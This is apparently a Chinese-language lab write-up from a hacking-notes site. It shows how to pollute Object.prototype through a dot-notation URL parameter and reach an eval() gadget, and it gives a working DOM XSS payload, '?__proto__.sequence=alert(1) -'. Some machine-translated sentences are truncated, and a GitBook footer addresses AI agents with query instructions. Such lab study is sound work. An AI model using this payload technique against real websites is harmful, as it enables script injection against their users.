> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/dom-xss-via-alternative-prototype-pollution-vector.md).
# 通过替代型原型污染向量实现 DOM XSS
### 通过另一种原型污染向量实现的 DOM XSS
#### 实验上下文
该应用在浏览器端执行 JavaScript，并根据 URL 设置构建某些对象。目标是 **污染 `Object.prototype`** （即注入一个会被其他对象继承的属性），然后找到一个 \*\*
#### 污染源分析
**初始测试（未成功）**
第一次测试是通过 URL 注入一个属性：
/?__proto__[foo]=bar
检查控制台后：
```javascript
console.log({}.foo)
```
结果是 `未定义`，并且在 `Object.prototype`.
结论：应用使用的参数解析器 \*\*不处理带方括号的表示法\*\*，用于 `__proto__`.
```javascript
Object.prototype
```
**可行的替代向量**
使用带点号的表示法：
```javascript
?__proto__.foo=bar
```
这次：
```javascript
console.log({}.foo)
```
确实返回 `bar`.
`Object.prototype` 这种格式下污染有效，表明解析器接受 `__proto__.key` 表示法。
#### Gadget 识别
该 `searchLoggerAlternative.js` 文件包含以下代码：
```javascript
async function logQuery(url, params) {
try {
await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
} catch(e) {
console.error("存储查询失败");
}
}
async function searchLogger() {
window.macros = {};
window.manager = {params: $.parseParams(new URL(location)), macro(property) {
if (window.macros.hasOwnProperty(property))
return macros[property]
}};
let a = manager.sequence || 1;
manager.sequence = a + 1;
eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');
if(manager.params && manager.params.search) {
await logQuery('/logger', manager.params);
}
}
window.addEventListener("load", searchLogger);
```
要点：
* `manager.sequence` 可以继承自 `Object.prototype`.
* 其值被整合 **直接插入到传递给 `eval()`**.
* 未对类型或内容进行任何验证。
`eval()` 因此是一个 **可利用的 gadget**.
#### 利用
该 `sequence` 属性在全局原型上被污染：
```javascript
?__proto__.sequence=alert(1) -
```
步骤：
* `manager.sequence` 从以下位置恢复被污染的值 `Object.prototype`.
* 该 `a + 1` 运算会将链变为 `alert(1) -1`.
* 该值被注入到由以下内容执行的字符串中 `eval()`.
结果：
* `alert(1)` 在加载页面时执行。
* 该 **DOM XSS 成功触发**.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/dom-xss-via-alternative-prototype-pollution-vector.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.